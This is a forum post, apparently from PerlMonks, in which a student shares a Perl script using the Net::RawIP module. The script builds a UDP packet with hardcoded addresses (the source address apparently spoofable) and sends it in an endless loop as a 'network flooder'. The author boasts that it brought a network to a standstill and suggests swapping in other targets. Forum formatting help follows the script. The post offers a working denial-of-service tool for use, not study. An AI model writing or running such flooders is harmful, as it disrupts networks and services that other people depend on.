its been a long time (um... very long time) since i lasted accessed perl monks..... i've been bit busy with my college work... increasing my GPA (am glad to say its reached 3.2/5)
anyways.... so i came back to my best friends (C and perl) and as an inaugral lesson i learned the Net::RawIP module and made my network flooder..... it creates a packet storm bringing the network to an ultimate standstill.... it works.... i've tried it.... though my neighbours came and almost killed me after that.... :p
#!/usr/bin/perl
use Net::RawIP;
use strict;
use warnings;
my $rawpack=Net::RawIP->new({
ip=>{saddr=>"192.168.12.180",daddr=>"192.168.1
+0.12"},
udp=>{source=>80,len=>1000,data=>"hnd-ucb"}
}) or die "cannot create raw packet:$!\n";
#send or rather broadcast indefinitely 100 packets at a time
system("clear");
my ($count1,$count2)=0;
my($saddr,$daddr,$source,$len,$data)=$rawpack->get( {ip=>[qw (saddr da
+ddr)],
udp=>[qw (source len data)]});
print "$saddr\n$daddr\n$source\n$len\n$data\n";
print "flooding\n";
sleep(5);
for(;;)
{
$rawpack->send(0,100);
$count1++;
if($count1==10**5)
{
$count1=0;
$count2++;
print "$count2";
system("clear");
}
}
the values of the saddr and daddr parameters are hardcoded (am sorry).... you can replace it with command line arguments or hardcode any other value.....
leave me a post if this sux or something....
brrrrrrrrrreeeeeeee :D
=====================================================
i'am worst at what do best and for this gift i fell blessed...
i found it hard it's hard to find well whatever
NEVERMIND
-
Are you posting in the right place? Check out Where do I post X? to know for sure.
-
Posts may use any of the Perl Monks Approved HTML tags. Currently these include the following:
<code> <a> <b> <big>
<blockquote> <br /> <dd>
<dl> <dt> <em> <font>
<h1> <h2> <h3> <h4>
<h5> <h6> <hr /> <i>
<li> <nbsp> <ol> <p>
<small> <strike> <strong>
<sub> <sup> <table>
<td> <th> <tr> <tt>
<u> <ul>
-
Snippets of code should be wrapped in
<code> tags not
<pre> tags. In fact, <pre>
tags should generally be avoided. If they must
be used, extreme care should be
taken to ensure that their contents do not
have long lines (<70 chars), in order to prevent
horizontal scrolling (and possible janitor
intervention).
-
Want more info? How to link
or How to display code and escape characters
are good places to start.